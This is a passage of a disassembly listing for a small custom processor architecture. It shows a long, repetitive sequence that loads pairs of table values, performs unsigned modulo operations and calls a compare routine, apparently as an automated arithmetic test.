9fc0: 0d 43 a6 1c wl16 r16,0x1d3c
9fc4: 0d 60 02 03 wh16 r16,0x3
9fc8: 10 40 02 10 ld32 r16,r16
9fcc: 0d 45 c5 38 wl16 r9,0x2e38
9fd0: 0d 60 01 23 wh16 r9,0x3
9fd4: 10 40 01 29 ld32 r9,r9
9fd8: 00 a0 01 10 umod r8,r16
9fdc: 20 70 03 e2 movepc rret,8
9fe0: 14 30 d8 0c br 10 <compare>,#al
9fe4: 00 10 00 41 add r2,1
9fe8: 0d 41 89 04 wl16 r8,0xc44
9fec: 0d 60 01 03 wh16 r8,0x3
9ff0: 10 40 01 08 ld32 r8,r8
9ff4: 0d 43 aa 00 wl16 r16,0x1d40
9ff8: 0d 60 02 03 wh16 r16,0x3
9ffc: 10 40 02 10 ld32 r16,r16
a000: 0d 45 c5 3c wl16 r9,0x2e3c
a004: 0d 60 01 23 wh16 r9,0x3
a008: 10 40 01 29 ld32 r9,r9
a00c: 00 a0 01 10 umod r8,r16
a010: 20 70 03 e2 movepc rret,8
a014: 14 30 d7 ff br 10 <compare>,#al
a018: 00 10 00 41 add r2,1
a01c: 0d 41 89 08 wl16 r8,0xc48
a020: 0d 60 01 03 wh16 r8,0x3
a024: 10 40 01 08 ld32 r8,r8
a028: 0d 43 aa 04 wl16 r16,0x1d44
a02c: 0d 60 02 03 wh16 r16,0x3
a030: 10 40 02 10 ld32 r16,r16
a034: 0d 45 c9 20 wl16 r9,0x2e40
a038: 0d 60 01 23 wh16 r9,0x3
a03c: 10 40 01 29 ld32 r9,r9
a040: 00 a0 01 10 umod r8,r16
a044: 20 70 03 e2 movepc rret,8
a048: 14 30 d7 f2 br 10 <compare>,#al
a04c: 00 10 00 41 add r2,1
a050: 0d 41 89 0c wl16 r8,0xc4c
a054: 0d 60 01 03 wh16 r8,0x3
a058: 10 40 01 08 ld32 r8,r8
a05c: 0d 43 aa 08 wl16 r16,0x1d48
a060: 0d 60 02 03 wh16 r16,0x3
a064: 10 40 02 10 ld32 r16,r16
a068: 0d 45 c9 24 wl16 r9,0x2e44
a06c: 0d 60 01 23 wh16 r9,0x3
a070: 10 40 01 29 ld32 r9,r9
a074: 00 a0 01 10 umod r8,r16
a078: 20 70 03 e2 movepc rret,8
a07c: 14 30 d7 e5 br 10 <compare>,#al
a080: 00 10 00 41 add r2,1
a084: 0d 41 89 10 wl16 r8,0xc50
a088: 0d 60 01 03 wh16 r8,0x3
a08c: 10 40 01 08 ld32 r8,r8
a090: 0d 43 aa 0c wl16 r16,0x1d4c
a094: 0d 60 02 03 wh16 r16,0x3
a098: 10 40 02 10 ld32 r16,r16
a09c: 0d 45 c9 28 wl16 r9,0x2e48
a0a0: 0d 60 01 23 wh16 r9,0x3
a0a4: 10 40 01 29 ld32 r9,r9
a0a8: 00 a0 01 10 umod r8,r16
a0ac: 20 70 03 e2 movepc rret,8
a0b0: 14 30 d7 d8 br 10 <compare>,#al
a0b4: 00 10 00 41 add r2,1
a0b8: 0d 41 89 14 wl16 r8,0xc54
a0bc: 0d 60 01 03 wh16 r8,0x3
a0c0: 10 40 01 08 ld32 r8,r8
a0c4: 0d 43 aa 10 wl16 r16,0x1d50
a0c8: 0d 60 02 03 wh16 r16,0x3
a0cc: 10 40 02 10 ld32 r16,r16
a0d0: 0d 45 c9 2c wl16 r9,0x2e4c
a0d4: 0d 60 01 23 wh16 r9,0x3
a0d8: 10 40 01 29 ld32 r9,r9
a0dc: 00 a0 01 10 umod r8,r16
a0e0: 20 70 03 e2 movepc rret,8
a0e4: 14 30 d7 cb br 10 <compare>,#al
a0e8: 00 10 00 41 add r2,1
a0ec: 0d 41 89 18 wl16 r8,0xc58
a0f0: 0d 60 01 03 wh16 r8,0x3
a0f4: 10 40 01 08 ld32 r8,r8
a0f8: 0d 43 aa 14 wl16 r16,0x1d54
a0fc: 0d 60 02 03 wh16 r16,0x3
a100: 10 40 02 10 ld32 r16,r16
a104: 0d 45 c9 30 wl16 r9,0x2e50
a108: 0d 60 01 23 wh16 r9,0x3
a10c: 10 40 01 29 ld32 r9,r9
a110: 00 a0 01 10 umod r8,r16
a114: 20 70 03 e2 movepc rret,8
a118: 14 30 d7 be br 10 <compare>,#al
a11c: 00 10 00 41 add r2,1
a120: 0d 41 89 1c wl16 r8,0xc5c
a124: 0d 60 01 03 wh16 r8,0x3
a128: 10 40 01 08 ld32 r8,r8
a12c: 0d 43 aa 18 wl16 r16,0x1d58
a130: 0d 60 02 03 wh16 r16,0x3
a134: 10 40 02 10 ld32 r16,r16
a138: 0d 45 c9 34 wl16 r9,0x2e54
a13c: 0d 60 01 23 wh16 r9,0x3
a140: 10 40 01 29 ld32 r9,r9
a144: 00 a0 01 10 umod r8,r16
a148: 20 70 03 e2 movepc rret,8
a14c: 14 30 d7 b1 br 10 <compare>,#al
a150: 00 10 00 41 add r2,1
a154: 0d 41 8d 00 wl16 r8,0xc60
a158: 0d 60 01 03 wh16 r8,0x3
a15c: 10 40 01 08 ld32 r8,r8
a160: 0d 43 aa 1c wl16 r16,0x1d5c
a164: 0d 60 02 03 wh16 r16,0x3
a168: 10 40 02 10 ld32 r16,r16
a16c: 0d 45 c9 38 wl16 r9,0x2e58
a170: 0d 60 01 23 wh16 r9,0x3
a174: 10 40 01 29 ld32 r9,r9
a178: 00 a0 01 10 umod r8,r16
a17c: 20 70 03 e2 movepc rret,8
a180: 14 30 d7 a4 br 10 <compare>,#al
a184: 00 10 00 41 add r2,1
a188: 0d 41 8d 04 wl16 r8,0xc64
a18c: 0d 60 01 03 wh16 r8,0x3
a190: 10 40 01 08 ld32 r8,r8
a194: 0d 43 ae 00 wl16 r16,0x1d60
a198: 0d 60 02 03 wh16 r16,0x3
a19c: 10 40 02 10 ld32 r16,r16
a1a0: 0d 45 c9 3c wl16 r9,0x2e5c
a1a4: 0d 60 01 23 wh16 r9,0x3
a1a8: 10 40 01 29 ld32 r9,r9
a1ac: 00 a0 01 10 umod r8,r16
a1b0: 20 70 03 e2 movepc rret,8
a1b4: 14 30 d7 97 br 10 <compare>,#al
a1b8: 00 10 00 41 add r2,1
a1bc: 0d 41 8d 08 wl16 r8,0xc68
a1c0: 0d 60 01 03 wh16 r8,0x3
a1c4: 10 40 01 08 ld32 r8,r8
a1c8: 0d 43 ae 04 wl16 r16,0x1d64
a1cc: 0d 60 02 03 wh16 r16,0x3
a1d0: 10 40 02 10 ld32 r16,r16
a1d4: 0d 45 cd 20 wl16 r9,0x2e60
a1d8: 0d 60 01 23 wh16 r9,0x3
a1dc: 10 40 01 29 ld32 r9,r9
a1e0: 00 a0 01 10 umod r8,r16
a1e4: 20 70 03 e2 movepc rret,8
a1e8: 14 30 d7 8a br 10 <compare>,#al
a1ec: 00 10 00 41 add r2,1
a1f0: 0d 41 8d 0c wl16 r8,0xc6c
a1f4: 0d 60 01 03 wh16 r8,0x3
a1f8: 10 40 01 08 ld32 r8,r8
a1fc: 0d 43 ae 08 wl16 r16,0x1d68
a200: 0d 60 02 03 wh16 r16,0x3
a204: 10 40 02 10 ld32 r16,r16
a208: 0d 45 cd 24 wl16 r9,0x2e64
a20c: 0d 60 01 23 wh16 r9,0x3
a210: 10 40 01 29 ld32 r9,r9
a214: 00 a0 01 10 umod r8,r16
a218: 20 70 03 e2 movepc rret,8
a21c: 14 30 d7 7d br 10 <compare>,#al
a220: 00 10 00 41 add r2,1
a224: 0d 41 8d 10 wl16 r8,0xc70
a228: 0d 60 01 03 wh16 r8,0x3
a22c: 10 40 01 08 ld32 r8,r8
a230: 0d 43 ae 0c wl16 r16,0x1d6c
a234: 0d 60 02 03 wh16 r16,0x3
a238: 10 40 02 10 ld32 r16,r16
a23c: 0d 45 cd 28 wl16 r9,0x2e68
a240: 0d 60 01 23 wh16 r9,0x3
a244: 10 40 01 29 ld32 r9,r9
a248: 00 a0 01 10 umod r8,r16
a24c: 20 70 03 e2 movepc rret,8
a250: 14 30 d7 70 br 10 <compare>,#al
a254: 00 10 00 41 add r2,1
a258: 0d 41 8d 14 wl16 r8,0xc74
a25c: 0d 60 01 03 wh16 r8,0x3
a260: 10 40 01 08 ld32 r8,r8
a264: 0d 43 ae 10 wl16 r16,0x1d70
a268: 0d 60 02 03 wh16 r16,0x3
a26c: 10 40 02 10 ld32 r16,r16
a270: 0d 45 cd 2c wl16 r9,0x2e6c
a274: 0d 60 01 23 wh16 r9,0x3
a278: 10 40 01 29 ld32 r9,r9
a27c: 00 a0 01 10 umod r8,r16
a280: 20 70 03 e2 movepc rret,8
a284: 14 30 d7 63 br 10 <compare>,#al
a288: 00 10 00 41 add r2,1
a28c: 0d 41 8d 18 wl16 r8,0xc78
a290: 0d 60 01 03 wh16 r8,0x3
a294: 10 40 01 08 ld32 r8,r8
a298: 0d 43 ae 14 wl16 r16,0x1d74
a29c: 0d 60 02 03 wh16 r16,0x3
a2a0: 10 40 02 10 ld32 r16,r16
a2a4: 0d 45 cd 30 wl16 r9,0x2e70
a2a8: 0d 60 01 23 wh16 r9,0x3
a2ac: 10 40 01 29 ld32 r9,r9
a2b0: 00 a0 01 10 umod r8,r16
a2b4: 20 70 03 e2 movepc rret,8
a2b8: 14 30 d7 56 br 10 <compare>,#al
a2bc: 00 10 00 41 add r2,1
a2c0: 0d 41 8d 1c wl16 r8,0xc7c
a2c4: 0d 60 01 03 wh16 r8,0x3
a2c8: 10 40 01 08 ld32 r8,r8
a2cc: 0d 43 ae 18 wl16 r16,0x1d78
a2d0: 0d 60 02 03 wh16 r16,0x3
a2d4: 10 40 02 10 ld32 r16,r16
a2d8: 0d 45 cd 34 wl16 r9,0x2e74
a2dc: 0d 60 01 23 wh16 r9,0x3
a2e0: 10 40 01 29 ld32 r9,r9
a2e4: 00 a0 01 10 umod r8,r16
a2e8: 20 70 03 e2 movepc rret,8
a2ec: 14 30 d7 49 br 10 <compare>,#al
a2f0: 00 10 00 41 add r2,1
a2f4: 0d 41 91 00 wl16 r8,0xc80
a2f8: 0d 60 01 03 wh16 r8,0x3
a2fc: 10 40 01 08 ld32 r8,r8
a300: 0d 43 ae 1c wl16 r16,0x1d7c
a304: 0d 60 02 03 wh16 r16,0x3
a308: 10 40 02 10 ld32 r16,r16
a30c: 0d 45 cd 38 wl16 r9,0x2e78
a310: 0d 60 01 23 wh16 r9,0x3
a314: 10 40 01 29 ld32 r9,r9
a318: 00 a0 01 10 umod r8,r16
a31c: 20 70 03 e2 movepc rret,8
a320: 14 30 d7 3c br 10 <compare>,#al
a324: 00 10 00 41 add r2,1
a328: 0d 41 91 04 wl16 r8,0xc84
a32c: 0d 60 01 03 wh16 r8,0x3
a330: 10 40 01 08 ld32 r8,r8
a334: 0d 43 b2 00 wl16 r16,0x1d80
a338: 0d 60 02 03 wh16 r16,0x3
a33c: 10 40 02 10 ld32 r16,r16
a340: 0d 45 cd 3c wl16 r9,0x2e7c
a344: 0d 60 01 23 wh16 r9,0x3
a348: 10 40 01 29 ld32 r9,r9
a34c: 00 a0 01 10 umod r8,r16
a350: 20 70 03 e2 movepc rret,8
a354: 14 30 d7 2f br 10 <compare>,#al
a358: 00 10 00 41 add r2,1
a35c: 0d 41 91 08 wl16 r8,0xc88
a360: 0d 60 01 03 wh16 r8,0x3
a364: 10 40 01 08 ld32 r8,r8
a368: 0d 43 b2 04 wl16 r16,0x1d84
a36c: 0d 60 02 03 wh16 r16,0x3
a370: 10 40 02 10 ld32 r16,r16
a374: 0d 45 d1 20 wl16 r9,0x2e80
a378: 0d 60 01 23 wh16 r9,0x3
a37c: 10 40 01 29 ld32 r9,r9
a380: 00 a0 01 10 umod r8,r16
a384: 20 70 03 e2 movepc rret,8
a388: 14 30 d7 22 br 10 <compare>,#al
a38c: 00 10 00 41 add r2,1
a390: 0d 41 91 0c wl16 r8,0xc8c
a394: 0d 60 01 03 wh16 r8,0x3
a398: 10 40 01 08 ld32 r8,r8
a39c: 0d 43 b2 08 wl16 r16,0x1d88
a3a0: 0d 60 02 03 wh16 r16,0x3
a3a4: 10 40 02 10 ld32 r16,r16
a3a8: 0d 45 d1 24 wl16 r9,0x2e84
a3ac: 0d 60 01 23 wh16 r9,0x3
a3b0: 10 40 01 29 ld32 r9,r9
a3b4: 00 a0 01 10 umod r8,r16
a3b8: 20 70 03 e2 movepc rret,8
a3bc: 14 30 d7 15 br 10 <compare>,#al
a3c0: 00 10 00 41 add r2,1
a3c4: 0d 41 91 10 wl16 r8,0xc90
a3c8: 0d 60 01 03 wh16 r8,0x3
a3cc: 10 40 01 08 ld32 r8,r8
a3d0: 0d 43 b2 0c wl16 r16,0x1d8c
a3d4: 0d 60 02 03 wh16 r16,0x3
a3d8: 10 40 02 10 ld32 r16,r16
a3dc: 0d 45 d1 28 wl16 r9,0x2e88
a3e0: 0d 60 01 23 wh16 r9,0x3
a3e4: 10 40 01 29 ld32 r9,r9
a3e8: 00 a0 01 10 umod r8,r16
a3ec: 20 70 03 e2 movepc rret,8
a3f0: 14 30 d7 08 br 10 <compare>,#al
a3f4: 00 10 00 41 add r2,1
a3f8: 0d 41 91 14 wl16 r8,0xc94
a3fc: 0d 60 01 03 wh16 r8,0x3
a400: 10 40 01 08 ld32 r8,r8
a404: 0d 43 b2 10 wl16 r16,0x1d90
a408: 0d 60 02 03 wh16 r16,0x3
a40c: 10 40 02 10 ld32 r16,r16
a410: 0d 45 d1 2c wl16 r9,0x2e8c
a414: 0d 60 01 23 wh16 r9,0x3
a418: 10 40 01 29 ld32 r9,r9
a41c: 00 a0 01 10 umod r8,r16
a420: 20 70 03 e2 movepc rret,8
a424: 14 30 d6 fb br 10 <compare>,#al
a428: 00 10 00 41 add r2,1
a42c: 0d 41 91 18 wl16 r8,0xc98
a430: 0d 60 01 03 wh16 r8,0x3
a434: 10 40 01 08 ld32 r8,r8
a438: 0d 43 b2 14 wl16 r16,0x1d94
a43c: 0d 60 02 03 wh16 r16,0x3
a440: 10 40 02 10 ld32 r16,r16
a444: 0d 45 d1 30 wl16 r9,0x2e90
a448: 0d 60 01 23 wh16 r9,0x3
a44c: 10 40 01 29 ld32 r9,r9
a450: 00 a0 01 10 umod r8,r16
a454: 20 70 03 e2 movepc rret,8
a458: 14 30 d6 ee br 10 <compare>,#al
a45c: 00 10 00 41 add r2,1
a460: 0d 41 91 1c wl16 r8,0xc9c
a464: 0d 60 01 03 wh16 r8,0x3
a468: 10 40 01 08 ld32 r8,r8
a46c: 0d 43 b2 18 wl16 r16,0x1d98
a470: 0d 60 02 03 wh16 r16,0x3
a474: 10 40 02 10 ld32 r16,r16
a478: 0d 45 d1 34 wl16 r9,0x2e94
a47c: 0d 60 01 23 wh16 r9,0x3
a480: 10 40 01 29 ld32 r9,r9
a484: 00 a0 01 10 umod r8,r16
a488: 20 70 03 e2 movepc rret,8
a48c: 14 30 d6 e1 br 10 <compare>,#al
a490: 00 10 00 41 add r2,1
a494: 0d 41 95 00 wl16 r8,0xca0
a498: 0d 60 01 03 wh16 r8,0x3
a49c: 10 40 01 08 ld32 r8,r8
a4a0: 0d 43 b2 1c wl16 r16,0x1d9c
a4a4: 0d 60 02 03 wh16 r16,0x3
a4a8: 10 40 02 10 ld32 r16,r16
a4ac: 0d 45 d1 38 wl16 r9,0x2e98
a4b0: 0d 60 01 23 wh16 r9,0x3
a4b4: 10 40 01 29 ld32 r9,r9
a4b8: 00 a0 01 10 umod r8,r16
a4bc: 20 70 03 e2 movepc rret,8
a4c0: 14 30 d6 d4 br 10 <compare>,#al
a4c4: 00 10 00 41 add r2,1
a4c8: 0d 41 95 04 wl16 r8,0xca4
a4cc: 0d 60 01 03 wh16 r8,0x3
a4d0: 10 40 01 08 ld32 r8,r8
a4d4: 0d 43 b6 00 wl16 r16,0x1da0
a4d8: 0d 60 02 03 wh16 r16,0x3
a4dc: 10 40 02 10 ld32 r16,r16
a4e0: 0d 45 d1 3c wl16 r9,0x2e9c
a4e4: 0d 60 01 23 wh16 r9,0x3
a4e8: 10 40 01 29 ld32 r9,r9
a4ec: 00 a0 01 10 umod r8,r16
a4f0: 20 70 03 e2 movepc rret,8
a4f4: 14 30 d6 c7 br 10 <compare>,#al
a4f8: 00 10 00 41 add r2,1
a4fc: 0d 41 95 08 wl16 r8,0xca8
a500: 0d 60 01 03 wh16 r8,0x3
a504: 10 40 01 08 ld32 r8,r8
a508: 0d 43 b6 04 wl16 r16,0x1da4
a50c: 0d 60 02 03 wh16 r16,0x3
a510: 10 40 02 10 ld32 r16,r16
a514: 0d 45 d5 20 wl16 r9,0x2ea0
a518: 0d 60 01 23 wh16 r9,0x3
a51c: 10 40 01 29 ld32 r9,r9
a520: 00 a0 01 10 umod r8,r16
a524: 20 70 03 e2 movepc rret,8
a528: 14 30 d6 ba br 10 <compare>,#al
a52c: 00 10 00 41 add r2,1
a530: 0d 41 95 0c wl16 r8,0xcac
a534: 0d 60 01 03 wh16 r8,0x3
a538: 10 40 01 08 ld32 r8,r8
a53c: 0d 43 b6 08 wl16 r16,0x1da8
a540: 0d 60 02 03 wh16 r16,0x3
a544: 10 40 02 10 ld32 r16,r16
a548: 0d 45 d5 24 wl16 r9,0x2ea4
a54c: 0d 60 01 23 wh16 r9,0x3
a550: 10 40 01 29 ld32 r9,r9
a554: 00 a0 01 10 umod r8,r16
a558: 20 70 03 e2 movepc rret,8
a55c: 14 30 d6 ad br 10 <compare>,#al
a560: 00 10 00 41 add r2,1
a564: 0d 41 95 10 wl16 r8,0xcb0
a568: 0d 60 01 03 wh16 r8,0x3
a56c: 10 40 01 08 ld32 r8,r8
a570: 0d 43 b6 0c wl16 r16,0x1dac
a574: 0d 60 02 03 wh16 r16,0x3
a578: 10 40 02 10 ld32 r16,r16
a57c: 0d 45 d5 28 wl16 r9,0x2ea8
a580: 0d 60 01 23 wh16 r9,0x3
a584: 10 40 01 29 ld32 r9,r9
a588: 00 a0 01 10 umod r8,r16
a58c: 20 70 03 e2 movepc rret,8
a590: 14 30 d6 a0 br 10 <compare>,#al
a594: 00 10 00 41 add r2,1
a598: 0d 41 95 14 wl16 r8,0xcb4
a59c: 0d 60 01 03 wh16 r8,0x3
a5a0: 10 40 01 08 ld32 r8,r8
a5a4: 0d 43 b6 10 wl16 r16,0x1db0
a5a8: 0d 60 02 03 wh16 r16,0x3
a5ac: 10 40 02 10 ld32 r16,r16
a5b0: 0d 45 d5 2c wl16 r9,0x2eac
a5b4: 0d 60 01 23 wh16 r9,0x3
a5b8: 10 40 01 29 ld32 r9,r9
a5bc: 00 a0 01 10 umod r8,r16
a5c0: 20 70 03 e2 movepc rret,8
a5c4: 14 30 d6 93 br 10 <compare>,#al
a5c8: 00 10 00 41 add r2,1
a5cc: 0d 41 95 18 wl16 r8,0xcb8
a5d0: 0d 60 01 03 wh16 r8,0x3
a5d4: 10 40 01 08 ld32 r8,r8
a5d8: 0d 43 b6 14 wl16 r16,0x1db4
a5dc: 0d 60 02 03 wh16 r16,0x3
a5e0: 10 40 02 10 ld32 r16,r16
a5e4: 0d 45 d5 30 wl16 r9,0x2eb0
a5e8: 0d 60 01 23 wh16 r9,0x3
a5ec: 10 40 01 29 ld32 r9,r9
a5f0: 00 a0 01 10 umod r8,r16
a5f4: 20 70 03 e2 movepc rret,8
a5f8: 14 30 d6 86 br 10 <compare>,#al
a5fc: 00 10 00 41 add r2,1
a600: 0d 41 95 1c wl16 r8,0xcbc
a604: 0d 60 01 03 wh16 r8,0x3
a608: 10 40 01 08 ld32 r8,r8
a60c: 0d 43 b6 18 wl16 r16,0x1db8
a610: 0d 60 02 03 wh16 r16,0x3
a614: 10 40 02 10 ld32 r16,r16
a618: 0d 45 d5 34 wl16 r9,0x2eb4
a61c: 0d 60 01 23 wh16 r9,0x3
a620: 10 40 01 29 ld32 r9,r9
a624: 00 a0 01 10 umod r8,r16
a628: 20 70 03 e2 movepc rret,8
a62c: 14 30 d6 79 br 10 <compare>,#al
a630: 00 10 00 41 add r2,1
a634: 0d 41 99 00 wl16 r8,0xcc0
a638: 0d 60 01 03 wh16 r8,0x3
a63c: 10 40 01 08 ld32 r8,r8
a640: 0d 43 b6 1c wl16 r16,0x1dbc
a644: 0d 60 02 03 wh16 r16,0x3
a648: 10 40 02 10 ld32 r16,r16
a64c: 0d 45 d5 38 wl16 r9,0x2eb8
a650: 0d 60 01 23 wh16 r9,0x3
a654: 10 40 01 29 ld32 r9,r9
a658: 00 a0 01 10 umod r8,r16
a65c: 20 70 03 e2 movepc rret,8
a660: 14 30 d6 6c br 10 <compare>,#al
a664: 00 10 00 41 add r2,1
a668: 0d 41 99 04 wl16 r8,0xcc4
a66c: 0d 60 01 03 wh16 r8,0x3
a670: 10 40 01 08 ld32 r8,r8
a674: 0d 43 ba 00 wl16 r16,0x1dc0
a678: 0d 60 02 03 wh16 r16,0x3
a67c: 10 40 02 10 ld32 r16,r16
a680: 0d 45 d5 3c wl16 r9,0x2ebc
a684: 0d 60 01 23 wh16 r9,0x3
a688: 10 40 01 29 ld32 r9,r9
a68c: 00 a0 01 10 umod r8,r16
a690: 20 70 03 e2 movepc rret,8
a694: 14 30 d6 5f br 10 <compare>,#al
a698: 00 10 00 41 add r2,1
a69c: 0d 41 99 08 wl16 r8,0xcc8
a6a0: 0d 60 01 03 wh16 r8,0x3
a6a4: 10 40 01 08 ld32 r8,r8
a6a8: 0d 43 ba 04 wl16 r16,0x1dc4
a6ac: 0d 60 02 03 wh16 r16,0x3
a6b0: 10 40 02 10 ld32 r16,r16
a6b4: 0d 45 d9 20 wl16 r9,0x2ec0
a6b8: 0d 60 01 23 wh16 r9,0x3
a6bc: 10 40 01 29 ld32 r9,r9
a6c0: 00 a0 01 10 umod r8,r16
a6c4: 20 70 03 e2 movepc rret,8
a6c8: 14 30 d6 52 br 10 <compare>,#al
a6cc: 00 10 00 41 add r2,1
a6d0: 0d 41 99 0c wl16 r8,0xccc
a6d4: 0d 60 01 03 wh16 r8,0x3
a6d8: 10 40 01 08 ld32 r8,r8
a6dc: 0d 43 ba 08 wl16 r16,0x1dc8
a6e0: 0d 60 02 03 wh16 r16,0x3
a6e4: 10 40 02 10 ld32 r16,r16
a6e8: 0d 45 d9 24 wl16 r9,0x2ec4
a6ec: 0d 60 01 23 wh16 r9,0x3
a6f0: 10 40 01 29 ld32 r9,r9
a6f4: 00 a0 01 10 umod r8,r16
a6f8: 20 70 03 e2 movepc rret,8
a6fc: 14 30 d6 45 br 10 <compare>,#al
a700: 00 10 00 41 add r2,1
a704: 0d 41 99 10 wl16 r8,0xcd0
a708: 0d 60 01 03 wh16 r8,0x3
a70c: 10 40 01 08 ld32 r8,r8
a710: 0d 43 ba 0c wl16 r16,0x1dcc
a714: 0d 60 02 03 wh16 r16,0x3
a718: 10 40 02 10 ld32 r16,r16
a71c: 0d 45 d9 28 wl16 r9,0x2ec8
a720: 0d 60 01 23 wh16 r9,0x3
a724: 10 40 01 29 ld32 r9,r9
a728: 00 a0 01 10 umod r8,r16
a72c: 20 70 03 e2 movepc rret,8
a730: 14 30 d6 38 br 10 <compare>,#al
a734: 00 10 00 41 add r2,1
a738: 0d 41 99 14 wl16 r8,0xcd4
a73c: 0d 60 01 03 wh16 r8,0x3
a740: 10 40 01 08 ld32 r8,r8
a744: 0d 43 ba 10 wl16 r16,0x1dd0
a748: 0d 60 02 03 wh16 r16,0x3
a74c: 10 40 02 10 ld32 r16,r16
a750: 0d 45 d9 2c wl16 r9,0x2ecc
a754: 0d 60 01 23 wh16 r9,0x3
a758: 10 40 01 29 ld32 r9,r9
a75c: 00 a0 01 10 umod r8,r16
a760: 20 70 03 e2 movepc rret,8
a764: 14 30 d6 2b br 10 <compare>,#al
a768: 00 10 00 41 add r2,1
a76c: 0d 41 99 18 wl16 r8,0xcd8
a770: 0d 60 01 03 wh16 r8,0x3
a774: 10 40 01 08 ld32 r8,r8
a778: 0d 43 ba 14 wl16 r16,0x1dd4
a77c: 0d 60 02 03 wh16 r16,0x3
a780: 10 40 02 10 ld32 r16,r16
a784: 0d 45 d9 30 wl16 r9,0x2ed0
a788: 0d 60 01 23 wh16 r9,0x3
a78c: 10 40 01 29 ld32 r9,r9
a790: 00 a0 01 10 umod r8,r16
a794: 20 70 03 e2 movepc rret,8
a798: 14 30 d6 1e br 10 <compare>,#al
a79c: 00 10 00 41 add r2,1
a7a0: 0d 41 99 1c wl16 r8,0xcdc
a7a4: 0d 60 01 03 wh16 r8,0x3
a7a8: 10 40 01 08 ld32 r8,r8
a7ac: 0d 43 ba 18 wl16 r16,0x1dd8
a7b0: 0d 60 02 03 wh16 r16,0x3
a7b4: 10 40 02 10 ld32 r16,r16
a7b8: 0d 45 d9 34 wl16 r9,0x2ed4
a7bc: 0d 60 01 23 wh16 r9,0x3
a7c0: 10 40 01 29 ld32 r9,r9
a7c4: 00 a0 01 10 umod r8,r16
a7c8: 20 70 03 e2 movepc rret,8
a7cc: 14 30 d6 11 br 10 <compare>,#al
a7d0: 00 10 00 41 add r2,1
a7d4: 0d 41 9d 00 wl16 r8,0xce0
a7d8: 0d 60 01 03 wh16 r8,0x3
a7dc: 10 40 01 08 ld32 r8,r8
a7e0: 0d 43 ba 1c wl16 r16,0x1ddc
a7e4: 0d 60 02 03 wh16 r16,0x3
a7e8: 10 40 02 10 ld32 r16,r16
a7ec: 0d 45 d9 38 wl16 r9,0x2ed8
a7f0: 0d 60 01 23 wh16 r9,0x3
a7f4: 10 40 01 29 ld32 r9,r9
a7f8: 00 a0 01 10 umod r8,r16
a7fc: 20 70 03 e2 movepc rret,8
a800: 14 30 d6 04 br 10 <compare>,#al
a804: 00 10 00 41 add r2,1
a808: 0d 41 9d 04 wl16 r8,0xce4
a80c: 0d 60 01 03 wh16 r8,0x3
a810: 10 40 01 08 ld32 r8,r8
a814: 0d 43 be 00 wl16 r16,0x1de0
a818: 0d 60 02 03 wh16 r16,0x3
a81c: 10 40 02 10 ld32 r16,r16
a820: 0d 45 d9 3c wl16 r9,0x2edc
a824: 0d 60 01 23 wh16 r9,0x3
a828: 10 40 01 29 ld32 r9,r9
a82c: 00 a0 01 10 umod r8,r16
a830: 20 70 03 e2 movepc rret,8
a834: 14 30 d5 f7 br 10 <compare>,#al
a838: 00 10 00 41 add r2,1
a83c: 0d 41 9d 08 wl16 r8,0xce8
a840: 0d 60 01 03 wh16 r8,0x3
a844: 10 40 01 08 ld32 r8,r8
a848: 0d 43 be 04 wl16 r16,0x1de4
a84c: 0d 60 02 03 wh16 r16,0x3
a850: 10 40 02 10 ld32 r16,r16
a854: 0d 45 dd 20 wl16 r9,0x2ee0
a858: 0d 60 01 23 wh16 r9,0x3
a85c: 10 40 01 29 ld32 r9,r9
a860: 00 a0 01 10 umod r8,r16
a864: 20 70 03 e2 movepc rret,8
a868: 14 30 d5 ea br 10 <compare>,#al
a86c: 00 10 00 41 add r2,1
a870: 0d 41 9d 0c wl16 r8,0xcec
a874: 0d 60 01 03 wh16 r8,0x3
a878: 10 40 01 08 ld32 r8,r8
a87c: 0d 43 be 08 wl16 r16,0x1de8
a880: 0d 60 02 03 wh16 r16,0x3
a884: 10 40 02 10 ld32 r16,r16
a888: 0d 45 dd 24 wl16 r9,0x2ee4
a88c: 0d 60 01 23 wh16 r9,0x3
a890: 10 40 01 29 ld32 r9,r9
a894: 00 a0 01 10 umod r8,r16
a898: 20 70 03 e2 movepc rret,8
a89c: 14 30 d5 dd br 10 <compare>,#al
a8a0: 00 10 00 41 add r2,1
a8a4: 0d 41 9d 10 wl16 r8,0xcf0
a8a8: 0d 60 01 03 wh16 r8,0x3
a8ac: 10 40 01 08 ld32 r8,r8
a8b0: 0d 43 be 0c wl16 r16,0x1dec
a8b4: 0d 60 02 03 wh16 r16,0x3
a8b8: 10 40 02 10 ld32 r16,r16
a8bc: 0d 45 dd 28 wl16 r9,0x2ee8
a8c0: 0d 60 01 23 wh16 r9,0x3
a8c4: 10 40 01 29 ld32 r9,r9
a8c8: 00 a0 01 10 umod r8,r16
a8cc: 20 70 03 e2 movepc rret,8
a8d0: 14 30 d5 d0 br 10 <compare>,#al
a8d4: 00 10 00 41 add r2,1
a8d8: 0d 41 9d 14 wl16 r8,0xcf4
a8dc: 0d 60 01 03 wh16 r8,0x3
a8e0: 10 40 01 08 ld32 r8,r8
a8e4: 0d 43 be 10 wl16 r16,0x1df0
a8e8: 0d 60 02 03 wh16 r16,0x3
a8ec: 10 40 02 10 ld32 r16,r16
a8f0: 0d 45 dd 2c wl16 r9,0x2eec
a8f4: 0d 60 01 23 wh16 r9,0x3
a8f8: 10 40 01 29 ld32 r9,r9
a8fc: 00 a0 01 10 umod r8,r16
a900: 20 70 03 e2 movepc rret,8
a904: 14 30 d5 c3 br 10 <compare>,#al
a908: 00 10 00 41 add r2,1
a90c: 0d 41 9d 18 wl16 r8,0xcf8
a910: 0d 60 01 03 wh16 r8,0x3
a914: 10 40 01 08 ld32 r8,r8
a918: 0d 43 be 14 wl16 r16,0x1df4
a91c: 0d 60 02 03 wh16 r16,0x3
a920: 10 40 02 10 ld32 r16,r16
a924: 0d 45 dd 30 wl16 r9,0x2ef0
a928: 0d 60 01 23 wh16 r9,0x3
a92c: 10 40 01 29 ld32 r9,r9
a930: 00 a0 01 10 umod r8,r16
a934: 20 70 03 e2 movepc rret,8
a938: 14 30 d5 b6 br 10 <compare>,#al
a93c: 00 10 00 41 add r2,1
a940: 0d 41 9d 1c wl16 r8,0xcfc
a944: 0d 60 01 03 wh16 r8,0x3
a948: 10 40 01 08 ld32 r8,r8
a94c: 0d 43 be 18 wl16 r16,0x1df8
a950: 0d 60 02 03 wh16 r16,0x3
a954: 10 40 02 10 ld32 r16,r16
a958: 0d 45 dd 34 wl16 r9,0x2ef4
a95c: 0d 60 01 23 wh16 r9,0x3
a960: 10 40 01 29 ld32 r9,r9
